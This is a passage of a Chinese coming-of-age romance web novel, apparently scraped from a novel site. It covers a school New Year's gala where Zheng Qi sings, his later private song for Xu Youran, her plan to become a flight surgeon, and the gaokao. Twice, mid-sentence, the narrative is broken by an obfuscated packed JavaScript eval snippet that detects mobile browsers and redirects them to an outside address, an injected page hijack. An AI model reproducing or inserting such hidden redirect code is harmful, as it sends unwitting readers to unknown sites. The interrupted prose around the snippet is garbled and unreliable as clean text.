韩少蓉红了眼眶,喉咙有些发直:“爸,我真的怕啊!英伟飞了多少年我就担惊受怕了多少年,郑骐明明可以有更好的选择,就算真的想参军,还有那么多军校可选,为什么一定要去空军冒险?不怕一万就怕万一,那个万一我承受不起。” 韩老爷子拍拍女儿的肩膀,声音低沉却有力:“郑骐是个聪明孩子,他认定了目标就会努力做到最好。你拦不住他,与其母子因为这个心生隔阂,不如支持他。你现在阻拦他,这会成为他一辈子的心结。人一旦有了心结就不好轻装上阵了,他以后过得不好了,遇到难处了,都会想着如果当初坚持自己的梦想会不会更好。人要是总执迷于假想的美好,心就窄了,就会走进死胡同。当初我和你妈也拦你了,拦住了吗?有用吗?” 韩少蓉争辩:“万一……” 韩老爷子打断她的话:“没有万一,不要去想那个万一。人的命数是定了的,你妈身体一直好好的,谁会想到她睡一觉就走了呢?趁着还有时间还有机会,好好和孩子说,孩子大了越走越远,你想说也没机会了。我现在还能这样好好地和你说话,已经很知足了。” 韩少蓉垂下头倚在老父亲的肩上,抽了抽鼻子:“爸,谢谢你,我知道我以前很任性。” 韩老爷子笑着抖抖肩膀:“多大的人了,还哭鼻子呢!幸好你生的双胞胎,不是还有韩骁吗,你多关心关心这个,这才是个不好管要人操心的。” 提起韩骁,韩少蓉就来了劲,气呼呼地跟父亲打小报告:“这小子也不知道随了谁,整天跟我对着干,上次还把女同学的家长招到了家里,把我的脸丢光了!” 韩老爷子眉毛一翘,颇感欣慰:“哎呀,这小子不错啊,开窍了!” 郑骐在截止日期的最后一天提交了登记表。在新的一年到来之前,他顺利通过了复选。据说全市通过复选的只有不到一百个人,而全市最好的一中,通过复选的只有三个人,后面还要经历严格的审查、定选,最终能顺利进入航校的不会超过三分之一,可谓万中选一。 韩少蓉的心情也发生了微妙的变化。原本还想着郑骐可能会在复选被刷下来,那她就可以如愿以偿。没想到他一路过关斩将,成为一中硕果仅存的三个人之一。而多数高中一无所获,被剃了光头。也不知道是谁当了耳报神,院里的老老少少都知道郑骐顺利通过了招飞复选,就等着高考成绩,而那恰好是他最没悬念的一关。 恭喜、褒扬纷至沓来,邻居们见到韩少蓉就笑眯眯夸她教养有方,有儿子的还纷纷找她取经,问她是怎么把孩子培养得这么优秀。韩少蓉满面笑容打着哈哈,谦虚一番,然后颇有感触地说要尊重孩子的意愿,理解孩子的想法等等,口若悬河,完全不吝分享,最后成功赢得邻居们的吹捧和敬意。渐渐地,她忘了自己当初明明是最反对的那个人。 每当这个时候,韩骁就会冷冷旁观,等邻居们走了才似笑非笑地问:“妈,你什么时候尊重一下我的意愿,理解一下我的想法?” 韩少蓉听出他的讽刺意味,操起手边的筷子或者扫帚,接着家里就会传来鸡飞狗跳的喊叫声。 郑骐反而很淡定,面对学校和大院里羡慕崇拜的眼光也只是淡然一笑。他并不在乎别人怎么想,他目标明确且坚定,不会因为任何人的看法而动摇。 也有眼红的人不怀好意,什么时候招飞也开始搞世袭制了? 诸如此类的流言传到他耳里,他都一笑了之。那些人见他不为所动,渐渐地也闭了嘴。毕竟招飞标准白纸黑字,明明白白,能选上的绝对都是身体素质过硬的人。技不如人,说几句酸话也改变不了任何事情。论成绩,他们更是手下败将。 近三年来,郑骐大部分时间都保管着年级第一的桂冠,偶尔几次失手也很快在下一次反败为胜。他舍弃清北选择航校,反而把清北的机会留给了别人。学校第二名第三名得知他参与了招飞之后,看他的眼神都变得更加柔和了。不出意外的话,以他的成绩和清白家世,就读北国那所被誉为“飞行员摇篮”的航校,几乎是板上钉钉的事情了。 许悠然仔细研究地图,从他们的城市到东北航校,将近两千公里,要穿越半个中国,如果坐火车要三十多个小时,就算坐飞机也要三个小时。 她第一次切实感到中国幅员辽阔、天地广大。大到她这里还是秋意渐浓,那里已经是冰雪天地,犹如两个国度。 许悠然沮丧地合上地图。她要怎么才能当上航医呢? 跨年夜如期而至,少男少女们总会自发地给这些明明很普通的日子赋予特殊的意义。一起度过一年的最后一天,一起迎接新年的第一天,似乎这样就可以长长久久的在一起。 一中校领导今年突发奇想,也许是为了庆祝招飞成绩笑傲群雄,也许是为了展现新一届校领导的风貌,总之,一中决定在一年的最后一天举办一场盛大的迎新年晚会,让全市人知道一中是德智体美劳全面发展的超一流高中。 全体师生都使出了浑身解数,只为了让自己班级的节目脱颖而出。 许悠然也被袁文君拉着参与了班里的节目,舞蹈《月满西楼》。许悠然心里装着事,原本对这次晚会不感兴趣,若是以前肯定会忍不住凑热闹。可耐不住袁文君好说歹说,最终还是同意加入。许悠然从小玩到大,没有像别人一样钻研什么才艺,唯一拿得出手的就是小学时学了两三年舞蹈,身体柔韧度还 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她一恍惚,差点把他当成了郑骐。等看清他的脸,才回过神来。 “怎么是你?” “呵,怎么?以为我是郑骐?”韩骁嗤笑一声。 被他拆穿,许悠然脸微微一红,不自在地低下头,转瞬间又瞪着他:“怎么可能!郑骐又不是‘有痣青年’,哼!” 韩骁知道她说的是他鼻尖上长的两颗痣。一个月前,许悠然突然发现韩骁鼻尖上长了两颗明显的黑痣,她当即哈哈大笑把他嘲讽了一番。 “哈哈哈,韩骁,你鼻子上长了痣!难看死了!郑骐比你好看一百倍了!” 韩骁摸摸鼻子无所谓地笑笑:“你懂什么,男人鼻尖有痣代表这辈子财运亨通,以后你可别找我借钱,我不借!” “切!谁稀罕!” 上一个节目正好结束了,主持人开始播报主持词。韩骁和那天一样,摸摸鼻子:“希望你等会儿别跳错动作,更别摔倒,否则我会笑话你一辈子。” 许悠然本来就紧张,被他这么一说,气得恶狠狠在他鞋上踩了一脚,然后着急忙慌地上了台。 拜韩骁所赐,许悠然整个过程中不敢有丝毫分心,全神贯注到了忘我的地步。跳到“云中谁寄锦书来,雁字回时,月满西楼”的时候,她想到几个月后就要和郑骐两地分离,忍不住红了眼眶,动作也飘逸曼妙了许多,竟意外地增加了表演效果,让这首哀婉的歌曲被演绎得更加动人。 终于下台了,袁文君忍不住竖起大拇指:“许悠然,看不出来啊,你跳得太棒了,特像一个饱受相思之苦的女人。” 许悠然挤挤嘴角:“多谢您的夸奖,我很快就是了。” 袁文君嘻嘻哈哈地揽住她:“别这样嘛,物理距离改变不了心的距离,我有个建议你想不想听?” 许悠然半是怀疑半是好奇地看着她。 “在他走之前,拿下他!” “去你的!”许悠然被她大胆疯狂的言论气笑了。 “接下来请欣赏乐队弹唱,歌曲《liberty》。” 主持人的声音从前方舞台传来。 “走走走,赶快去看表演,别挤在这里了。”袁文君拉着许悠然,连妆都来不及卸,就往观众席跑去。 幕布拉开的一刹那,高亢的电吉他配合着有力的鼓点,一瞬间就点燃了全场观众的热情,欢呼声响彻整个礼堂。 “sunshineisshinning,skyissoblue……” 唱歌的人一开口,现场的氛围马上被推到了高潮。 舞台上的人一袭白衬衫,随意站在话筒架前,身上背着一把吉他,专注地弹奏着,灯光打在他身上像镀了一层金光,他明明站在这热闹喧嚣里,却又好像并不属于这里,而属于那个高远自由的天空。 28. 你会永远等我吗? 许悠然揉揉眼睛,她贴的假睫毛有些松了,垂下来遮住了视线。她索性一用力,把假睫毛扯了下来,痛得倒吸一口凉气。 终于能看清了。 不是韩骁。 这好像是她从来没听过的声音,就像被岩浆包裹着的岩石,热烈又坚实,仿佛奔涌而出的火山裹挟着数不清的碎石从山顶倾泻而来,无比的炙热,无比的强悍。 身边的人都被感染了,跟着节奏用力挥舞着手里的荧光棒,会唱的都在跟着唱,还有人已经按耐不住在人群里大声呼喊着“郑骐!郑骐!” “leadingmetoadifferentword,freedomshowstheway……” 郑骐旁若无人地唱着,时而低头看着指下的琴弦,时而仰头看天,他不是在唱歌,更像在诉说自己的心事,也不管下面的欢呼声,似乎观众懂不懂,明不明白都不重要,他只想唱出他的心声,用尽全力地,声嘶力竭地。 他身旁站着同样穿着白衬衫的韩骁,他一直低头弹着吉他,偶尔扭头看一眼专注的郑骐,像个隐身于暗处的配角。 许悠然目不转睛地看着郑骐,好像在看一个完全不认识的人。她从来不知道郑骐也会弹吉他,更不知道他唱歌这么好听。 “郑骐,记得一定要来看我的节目!” “傻瓜,放心吧,我肯定去。我还有一个惊喜要给你。” “惊喜?是什么?” “既然是惊喜当然不能提前揭晓了,到时候你就知道了。” 原来这就是他的惊喜。 在许悠然的印象中,弹吉他、唱歌,似乎都是和他格格不入的事情。可眼前,他的歌声真挚动情,脸上洋溢着热情和希冀,那种表情,一个月前在银杏树下,她第一次在他的脸上看到。她几乎快要落泪,好像历经艰险爬上了一座很高很高的山,在阳光和狂风的包围下,振臂高呼,喊声响彻云霄。 他不管做什么,都想做到最好,也能做到最好。他永远是人群中最亮眼的那颗星,如果不是青梅竹马,平庸的你凭什么能像现在这样靠近他呢?许悠然握紧拳头,从未如此坚定地想要追随他的脚步,成为一个优秀的人。 一曲终了,全场爆发出震耳欲聋的欢呼声。许悠然回过神,悄悄擦了擦潮湿的脸颊。 邻座的人默默递了一张纸巾过来。许悠然慌忙扭过头去,不想让别人看到她狼狈的模样。 纸巾的主人很倔强,没有因为被拒绝就气馁。 许悠然只得接过纸巾,低声道谢。 “许悠然,他唱得很好听对吧?”声音在嘈杂的礼堂里几不可闻。 许悠然擦干脸,这才看清身边的人是她的同班同学程文静。 程文静害羞地笑,眼睛忍不住往台上瞟去:“其实,我也听哭了。” 许悠然也笑了,点点头:“我还是第一次听他唱歌,没想到他唱得这么好。” 程文静好奇地看过来,眼睛里闪烁着羡慕和探究:“我知道你们认识很久了,连你都没听过吗?” 许悠然摇头:“他从来不唱歌,也不参加这种场合。” 程文静脸上露出复杂的表情,有些遗憾,又有些庆幸。“那我很幸运呢。”她自言自语般呢喃着。 两人交谈间,曲调变换,激荡人心的高音变成了和缓清新的小调,鼓点不再那么密集,节奏也慢了下来,角色交换,唱歌的人从郑骐变成了韩骁。 他的声音低沉温柔,整个人被柔光包围着,像一个深情的诗人,和平时桀骜不驯的模样判若两人。 他唱的粤语,大多数人不会唱,但是依然跟着拍子挥舞着荧光棒,整个礼堂伴随着他温柔的歌声,像一片浪漫的星海。 “再不愿去觅寻,再不愿去添色彩,再不面对未来,能共你往宇宙天边去……再不愿去束缚,再不愿去做别人,再不面对苦恼,无尽爱意永在完全的拥有。” 许悠然的记忆阀门被打开。一年前,她听过这首歌。那时韩骁在家唱歌,被她不小心听到,韩骁不肯告诉她歌词,她只好自己找,无意间找到了这首歌,她还记得,这首歌叫《完全的拥有》,像一个男孩美好的愿景。 许悠然看着舞台上专注的韩骁,突然感觉也不认识他了。要不是太过熟悉,她简直会以为刚才热情激烈的郑骐是韩骁,而此时忧郁深情的韩骁才是郑骐。 两人的表演让其余的节目黯然失色,乃至之后很长一段时间,校园里都围绕那晚的弹唱议论不断。多年后,这场晚会成了一中校史上浓墨重彩的一笔。有幸亲历过的人都津津乐道,而后来的学弟学妹们无缘得见,只能从影像资料上窥见一斑,甚为遗憾。 许悠然卸完妆换好衣服准备回家,接下来的元旦假期,她要好好想清楚一些问题。 一出礼堂大门,就见郑骐站在门口,他仍然背着那把吉他,往来的女生都忍不住侧目。 许悠然裹紧羽绒服,跑到他面前。 “你在等我吗?” 郑骐看着她温柔一笑,又变回了她最熟悉的那个模样。 “是啊,我在等你,不是说有惊喜要给你吗?我们走吧” “难道不是刚才的表演?”许悠然懵懂地睁大眼睛看着他。 郑骐摇摇头,往校外走去。许悠然只得好奇地跟在他身后,一路上不停猜测。 郑骐带她来到学校附近的一个公园。冬至过后气温骤降,光秃秃的树挡不了风,许悠然忍不住跺跺脚,往手心哈了口气。 公园里零星几个人行色匆匆,虽然不流行过阳历年,但总算是一年的最后一天,赶快回家和家人一起吃一顿美味的晚餐,享受家庭的温暖比在外面吹西北风要舒服多了。 “很冷吗?”郑骐解开自己的围巾围到许悠然脖子上。带着他体温和气息的围巾柔软温暖,许悠然脸蹭到围巾上突然就开始发烫。 郑骐找到一处背风的角落,让许悠然在花坛边坐下,他坐在她身侧,拨了拨琴弦。 一串好听的声音像风吹驼铃般从他指下滑出。 “你什么时候学会弹吉他的?” “趁你不注意的时候。”郑骐冲她狡黠地一笑,“刚才在学校唱的那首歌是给所有人的,现在这首歌是给你一个人的惊喜。” “Istandaloneinthedark,thewinterofmylifecamesofast……I’mstillthereeverywhere,I’mthestarinthenorthernsky……Wouldyouwaitformeforever?” 简单的旋律,没有大起大落,舒缓得像散文诗。歌词直白,许悠然英文不错,几乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15199770|163966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全部能听懂。他的声音轻缓柔和,带着一丝淡淡的哀伤,像倔强的孩子揪着一个问题锲而不舍地发问。 我是风中一粒尘, 我是北天一颗星, 天涯海角无处停留, 你会永远等我吗? 你会永远等我吗? 安静的公园里,北风萧索,只有郑骐的歌声和清脆的吉他声回荡着。 许悠然突然感到自己很难过,心好像破了个洞,伴随着他的歌声汩汩流着血。她很想堵,可怎么也堵不住。她伸手摸摸脸,发现眼泪还没来得及流下来就已经被风吹干了,只有黏黏糊糊的泪渍。 她很想回答他,我会永远等你。 可是声音哽在喉咙里,一个字都说不出来。 郑骐唱完,见许悠然愣愣的,有些不安。“怎么了?不好听还是太冷了?” 许悠然破涕为笑,圆圆的眼睛亮晶晶地看着他,被眼泪浸润过的眼眸显得潮湿晶莹。 “很好听,比刚才那首还好听。而且,我听懂了。” 郑骐轻咳一声,有些不自在地撇开头:“这首歌没有什么复杂的单词,以你的水平肯定是没问题的。回家吧,我妈还等着我们吃饭呢。” 他背着吉他率先往外走。 许悠然站起身活动下手脚,然后快步追上他,两人并肩而行。 “郑骐,谢谢你的惊喜,我很喜欢。” 郑骐扭头微笑:“你喜欢就好。” 年轻的少男少女肩并肩,在暮色中往万家灯火走去。 周亚珍和韩少蓉合力做了一顿大餐,两家人聚在一起迎接新年,顺便给郑英伟送行。两个月的假期转瞬即逝,他又要回到队里了。 韩少蓉情绪有些低落,周亚珍揶揄:“都二十年了还没习惯呀?说实话我挺羡慕你们的,每天对着其实也烦得很,你看我们家许仕明,在外面斯斯文文的,回家袜子都不知道怎么洗,我看着就烦。像你们这样,小别胜新婚挺好的。” 韩少蓉“呸”了一声,指指外面:“孩子们还在呢,别口没遮拦。” 周亚珍哈哈大笑。韩少蓉被她一闹也跟着笑了,是呀,她早就习惯了这种候鸟般的婚姻生活。既然是自己选择的,也并不曾后悔过,那为什么不珍惜每一次相聚的时刻呢? 新年的第一天,许仕明破天荒在家休假。 许悠然也破天荒地当了一回二十四孝女儿,又是给父亲泡茶,又是给父亲捶背,乖巧得像换了个人。 许仕明颇感安慰:“哎呀,生女儿就是好,果然是贴心的小棉袄。”他拿出手机,拍了一张父女共享天伦的照片发给在医院值班的妻子。 许悠然趁着父亲发消息,蹭到他身边坐下,“爸爸,我想问你一个问题。” 许仕明喝了一口茶,心里美滋滋又暖呼呼的:“问吧,我知无不言言无不尽。” 许悠然深吸一口气,虔诚地问:“爸爸,你知道怎么才能当上航医吗?” 许仕明端茶杯的手猛地一抖。他怀疑自己是不是听错了。 “你说什么?再说一遍。” 许悠然像小鹿一样睁着大眼睛,无比虔诚地看着父亲。 “能不能告诉我怎么才能成为航医?” 许仕明想起两个月前妻子苦劝韩少蓉的场景。原来刀子不扎到自己身上真的不会疼。 29. 玫瑰和野草 许仕明非常开明,他喜欢当医生,虽然苦读多年,工作繁忙经常超负荷,但是他依然孜孜不倦地热爱着自己的事业,并感谢这份事业给了他这个穷学生安定富足的生活。妻子是他的同事,也是他的战友,他们有着共同的信仰,但是也深知这信仰的代价有多么沉重。从女儿出生的那一刻起,他就决心要为她打造一个宽松幸福的环境,不求她出人头地,只要她健康快乐。所以他从来不像妻子那样苛责女儿,成绩嘛,只要过得去就行。 “航医?”许仕明扶了扶眼镜,不敢置信地看着女儿。 许悠然点点头。 许仕明猜到了什么,但是他不好开口,他觉得这些话应该由妻子来说更合适。他只好斟酌着字眼:“你为什么突然想当航医?” “不是突然,您和妈妈、干妈都是军医,我从小耳濡目染嘛!”许悠然早已经做好了准备。 “医生也分很多种,你为什么一定要当航医?” “这个……航医收入高。”许悠然没想到一贯好说话的父亲今天竟有点打破砂锅问到底的意思。 “胡说八道!”许仕明最反感做事目的不纯。 “额……航医没那么忙,你看你和我妈,每天忙得脚不沾地,航医不用晚上值班查房吧?” “既然当医生就没有不忙的,你做白日梦呢!航医要时刻监测飞行员的身体状况,上机前还要进行身体检查,出具报告……”许仕明开始滔滔不绝,试图吓退女儿,或者,诈出她的真心话。 “那我也不怕,我要女承父业,继承你和我妈的优良传统!”许悠然挥挥拳头,表情有点视死如归。 “呵呵……”许仕明干笑两声,决定开门见山,“你说老实话,你想当航医是不是因为郑骐?” 许悠然脸红了,她低下头嗫嚅着:“才没有呢,救死扶伤多伟大啊,我就是想当一个有用的人……” 许仕明见女儿满脸被猜中心思的娇羞,心情有点复杂。哪个少男不钟情,哪个少女不怀春?以前他一直觉得女儿是个孩子,他把她背在肩上玩耍好像还只是昨天的事情。就算大人之间曾经有戏言,这几年孩子大了之后也不再提了,以后怎么发展还是要看孩子们自己的意思。可现在,他才意识到女儿真的长大了。她马上就十六岁了,是该为以后的人生找寻方向的时候了。 “什么叫有用?爸妈生你下来不是为了让你服务别人的。人又不是个物件,还需要有用?只要你每天开开心心的,健健康康的,我和你妈就心满意足了。”许仕明摸摸女儿的头发,笑容温和慈祥。 “那我也不能当个米虫啊!以后总得做点正经事对不?我现在就想当航医,为祖国抛头颅洒热血……”许悠然抱住父亲的胳膊摇了摇,“您和我妈这两棵好竹可不能出我这个歹笋啊!” 许仕明端正脸色,表情严肃起来:“那你可想好了,军医军医,军在前,医在后,首先是个军人,然后才是医生。军队的生活没你想的那么轻松,光是训练就要脱几层皮,你娇生惯养的受得了?” “您和我妈都受得了,我必须受得了!爸爸,我从小就没什么大志向,这是第一次我有了想要追求的梦想,您就支持我嘛!我一定不丢您和我妈的脸!”许悠然举起手信誓旦旦地保证。她知道母亲的性子,要让父母支持她还得从父亲这里入手。 “然然,我很高兴你有想要追求的梦想,不过作为父亲我要先跟你把你即将面对的困难摆出来。学医是很苦的,军医更是苦上加苦,不学个六七年根本没办法出师,甚至需要终身学习。而且,军医毕业了是组织分配,你很可能会被分到老少边穷的地方去,那里可不像我们这花花世界大都市,吃喝玩乐应有尽有。枯燥的生活,繁重的工作,风吹日晒是家常便饭,你确定你能坚持吗?我许仕明的女儿可以当个米虫,我养得起,但是如果你选择了就不能轻易放弃。你确定你不是一时头脑发热吗?” 许悠然捏了捏拳头,她早就打听清楚了,航医是下连队的,要为飞行员的安全飞行提供医学保障,这是她能靠近郑骐的唯一的选择。“我想得很清楚,我能坚持,我是您的女儿,您能做到的我也能做到!” 许仕明点点头,计上心来。“好,那你可说话算话。现在我们要解决第二步,就算我和你妈同意你当航医,你能考得上军医大学吗?那可是重点大学,分数不低喔!” “这个……”许悠然果然吞吞吐吐,有些不自信了。她的成绩不差,但绝对算不上拔尖,也许考个一本还行,重点大学她真的没信心。 许仕明扶一下眼镜,意味深长地说:“别泄气,我女儿聪明着呢,只要肯下功夫绝对没问题。既然有了目标,努力往前冲就是了,不要想太多结果,过程更重要。”许仕明见女儿有些沮丧,眨眨眼继续说:“郑骐的成绩你可能追不上,但是韩骁还是可以学一学的嘛,你看他轻轻松松都是班上的前十名,你找他取取经嘛。” 果然,许悠然一听就跟斗鸡一样梗直脖子,“我才不找他学呢!哼!我自己学,一定要超过他!” 许悠然很满意父女间达成了默契。从这天开始,她真的变了。以前放学总逮着机会看小说看漫画,周末就想着约同学出去玩,现在放学自觉学习到晚上十二点,周末除了去郑家找郑骐指导功课,几乎大门不出二门不迈。 周亚珍看在眼里,感到不可思议。“你是不是病了?”她职业病上来,伸手就去摸女儿的额头。 “没有——妈,我努力学习你还不高兴吗?”许悠然躲开母亲的手,咬了一大口油条。 “慢点吃,当心噎着。”周亚珍狐疑地看着她,心里百思不得其解。见丈夫老神在在,似乎早已经见怪不怪,凑到他耳边小声问:“你是不是知道什么?” 许仕明晃了晃脑袋作无知状:“可能是开窍了吧,好事儿啊!” 不过夫妻俩向来坦诚,晚上许仕明还是把女儿转变的秘密告诉了妻子。 周亚珍果然跳起来反对:“不行!我坚决反对!军医那是她一个小姑娘干得来的吗?当医生我都不赞成,何况军医!没听过一句话吗,劝人学医,天打雷劈!” 许仕明哈哈大笑,把妻子按住,笑眯眯解释:“刚开始我跟你一个反应,不过后来我想通了,既然她要啃硬骨头那就让她啃,反正还有两年,她有了目标好好学习,总比像以前那样稀里糊涂的好吧,等高考完了填志愿就是另一回事了,再说,她能考那么高的分数我就是让她去又怎么样呢?前提是她能考得出来才行啊!” “不行!就算她能考上我也不同意她去读军医大学。我是吃过这个苦的,不想我的女儿再吃这种苦。咱家有你我奉献就够了,我的女儿我只想她简简单单快快乐乐的生活。” “谁不是这样想的呢,可是你也看见了,小丫头长大了,那眼睛就跟粘在郑骐身上一样,你越不让她去她越叛逆,越跟你对着干,她要是能因为郑骐变得优秀,我觉得也不是坏事。主要是我们做家长的得把握好这个度,不能堵,只能疏。郑骐是个好孩子我很放心,主要是我们这个小丫头心不定,三天打鱼两天晒网的,我怕她闯祸。现在有郑骐这个标杆在前面立着,起码她能静下心好好读书。” 周亚珍心一沉,她何尝没有年轻过呢,少女情思她都体会过,可是当主人翁变成自己的女儿,她还是和全天下的家长一样如临大敌。 她只得不满地嘟哝:“话是这么说,咱们然然也不差好吧,要模样有模样,性格又好……干嘛一定要追着别人跑?” “儿大不由娘!你就先当做不知道,别说她,让她好好学习,说不定过段时间她自己就腻了。”许仕明生怕妻子藏不住话,又去找女儿的麻烦。 “知道知道,你以为我喜欢跟她吵啊。腻什么腻?都十几年了要腻早腻了,还等到现在?你是男人,我问你啊……”周亚珍有点难以启齿,“你觉得郑骐对咱然然是什么意思?我担心然然少女情怀陷得深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15227891|163966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,万一郑骐没那意思,她怎么受得了?” 这才是周亚珍担心的事,许悠然这死丫头看着迷糊却死心眼,所以她一直有意无意不让她跟郑骐走得太近,最好是郑骐去上大学了就慢慢疏远。 “哈哈哈……你想得太远了吧,十几岁的小孩知道什么爱来爱去的,她现在顶多就是习惯,从小一起长大对郑骐有依赖性,以后上大学走出去了,见多了优秀的男孩子,就会转移注意力的。” “最好是这样……不过你没听过一句话吗?见过了玫瑰谁还会喜欢野草……” 夫妻俩就玫瑰和野草的可比性又进行了深刻的讨论,直到夜深人静才肯休息。 六月微燥的风按时把夏天送来,城市里弥漫着潮湿又燥热的空气。本地的夏天一向来得早,时间长,正所谓酷暑难熬,本地人戏称为“大火收汁”。 许悠然还记得去年夏天她和郑骐一起在家里看《珍珠港》,一会儿感动得眼泪汪汪,一会儿紧张得浑身冷汗,回想起来好像还是昨天。一转眼,就过去了一年,郑骐已经在高考考场了,不出意外,再过两个月他就要离开这座城市奔赴梦想启航的北国。 许悠然坐在花坛的树荫下,百无聊赖地吃冰棍。她心情不太好,一扭头看到韩骁站在离她不近不远的地方喝水。他戴了墨镜遮挡毒辣的太阳,一身黑T看上去又酷又拽,不时有路过的女孩子瞄他一眼。 许悠然不以为然地撇撇嘴,满脸嫌弃地给他下了判决,“招蜂引蝶。” 虽然声音很小但还是被韩骁敏感地捕捉到了,“我招你了引你了?” “切!”许悠然被抓现行,又不想承认他这副打扮的确看着还不错,只得装作没听见。 “呵,我知道你现在心情肯定不好,郑骐不管怎么考,分数也是你望尘莫及的,你就死了这条心吧!”韩骁冷笑一声,狠狠刺激了许悠然的心脏。 明明是郑骐在里面考试,她却好像比他这个考试的人更紧张焦虑。她怕他考不好和梦想失之交臂,又怕他考得太好,一骑绝尘。也许韩骁说得对,不管他怎么考,自己都追不上。上个月月考,她数学才考了110分,而郑骐数学常常满分。猛地被韩骁戳穿心思,她有点恼羞成怒了。 “要你管!我就不死心,你等着瞧,我下次数学考130分给你看!” 韩骁一抬手把空水瓶扔到不远处的垃圾桶里:“我才懒得管,别到时候考不好又哭哭啼啼地到我家来找郑骐就行了。” “我又不是去找你的!” “嗯,等郑骐走了你就不用来了。” “你!”许悠然气得哑口无言。韩骁总是能精准地掐住她的命门。 “对了,听说东北很多美女,又高又白。”韩骁说着还上下瞟了许悠然一眼。 许悠然一到夏天就会晒黑,她不喜欢擦防晒,又懒得打伞,幸好天生皮肤白,一个冬天过去还能白回来。她个子也不高,上高中之后就没怎么长个儿了,至今还是停留在163公分,虽然不算矮,但是和高挑出名的东北人比还是相形见绌。 “哼!”许悠然恶狠狠瞪了韩骁一眼,不再理他。 韩骁也不再说话,就这样隔着不近不远的距离坐着。许悠然本以为吃个冰棍能解暑,没想到喉咙里因为糖分变得黏黏腻腻的反而更渴了。她想去买水,可是看看时间,郑骐快出来了。她希望郑骐考完出来第一个见到她,算了,忍忍吧。 最后十五分钟,却好像比前面几个小时都难熬。许悠然喉咙不舒服,清清嗓子又站起身走了走,没走几步又热得一身汗,只得躲回了树下。 这该死的考点,连个小商店都没有。许悠然四处看看,人群开始自发往校门口聚集,抬眼看去只有黑压压的脑袋。 “给。” 正焦躁不安,一瓶矿泉水如同甘霖一样出现在她眼前。 韩骁满脸不耐烦地站在她面前,好像她再不接过去就要把水扔她脸上一样。 30. 刺激 郑骐姿态轻松地走出考场,许悠然早已经看到了他,兴奋地冲他挥手。 郑骐脚步轻快,身姿矫健,既不像有些人一副脱离苦海的模样,也不像个别没考好的那样愁眉苦脸,仿佛这只是很平常的一天,和以往的每一天没有什么不同。 “还行吧?”韩骁随意问。 “还行。”郑骐云淡风轻点点头。 “走吧,咱们去吃大餐。”郑骐自然地接过许悠然的包,见她被热得蔫蔫的,有些心疼,“让你别等,你非要等,看吧,现在像个从水里捞起来的小脏包。” 许悠然把被汗水浸得黏糊糊的刘海拨到一边,低声嘀咕:“我高兴。” 郑骐无奈看她一眼,把她拉到身侧,下午五点多的太阳已经不再那么强烈,他高高的身影替她挡住了火辣的光线。 韩骁看着前面并肩的两人,双手插进裤兜,一言不发地跟在后面。 半个月后,高考成绩如期公布。郑骐意料之中地以高分夺魁,成为一中的高考状元,这个分数去航校是绰绰有余了,就是清北也很有希望。 韩少蓉还是不死心,小心翼翼地试探道:“你确定不再考虑一下?清北啊,那是多少人可望不可及的梦想,你真的就这么放弃?” 郑骐无奈,但是也完全能理解母亲的想法,他耐心地解释:“妈,我考前都已经定选了,现在反悔是不是太迟了点?” 韩少蓉知道他说的是事实,要放弃早就该放弃,现在差不多是木已成舟了。 郑英伟的反应和她截然不同,在电话里听到儿子考了这么高的分,他高兴得笑声差点把韩少蓉的耳膜震破。 “果然是虎父无犬子啊!” 韩少蓉撇撇嘴没好气地纠正他:“需要我提醒你你高考考了多少分吗?孩子的智商是遗传母亲,他这么聪明全是我的功劳!” 郑英伟笑得更加厉害:“是是是,军功章有你的一半!” 七月份,郑骐顺利收到了航校的录取通知书,八月中旬就要去学校报到。 这是许悠然最不快乐的一个暑假。以往的暑假,西瓜、可乐、小说、漫画、电视构成她全部的生活,这个暑假她唉声叹气、愁眉苦脸,院里的人见了都忍不住奇怪地问一声“然然啊,你病了?怎么瘦了?”。 是的,许悠然瘦了。虽然老话说“苦夏”,夏天本来就是容易瘦的,但是许悠然第一次在夏天瘦了这么多,西瓜似乎都不甜了。 袁文君坐在许悠然家的沙发上啃西瓜,茶几上已经放着几块被吃得干干净净的瓜皮,都是她的战绩。李薇薇斯文,小口小口地吃,不时用纸巾擦一下嘴边的汁水。许悠然双手撑着下巴,坐在餐桌边发呆。 “许悠然,你真不吃啊?这西瓜好甜。” 许悠然没精打采,头都没抬:“不吃,这是你的梦中情人送来的,你多吃点。” 袁文君的梦中情人是韩骁。 自从那次在篮球赛见过韩骁后,她就整天把他挂在嘴上,什么又酷又帅很有型、猛男落泪最动人之类的说个没完。 见许悠然还有心情打趣自己,袁文君哈哈笑了几声,非常大方地附和:“难怪,我说怎么这么甜!要是你家郑骐哥哥送的,你肯定早就吃光光了。对了,郑骐哥哥去哪了?他怎么不给你送西瓜?” 许悠然趴到桌上,两眼茫然地看向窗外:“去体育馆训练了。” 李薇薇和袁文君对视一眼,心照不宣。作为认识多年的好朋友,她们从来没见过许悠然这样茶饭不思的模样,哪怕考试考砸了,她最多也只能坚持一餐不吃饭,而且往往会在下一餐加倍补回来。 袁文君放下西瓜,擦干净嘴巴,走到许悠然身边拍了拍她的肩膀:“你看看这才一个月,你都瘦了多少了?以后还有几年呢,你怎么过?” “得过且过呗!”许悠然闷闷地回答。 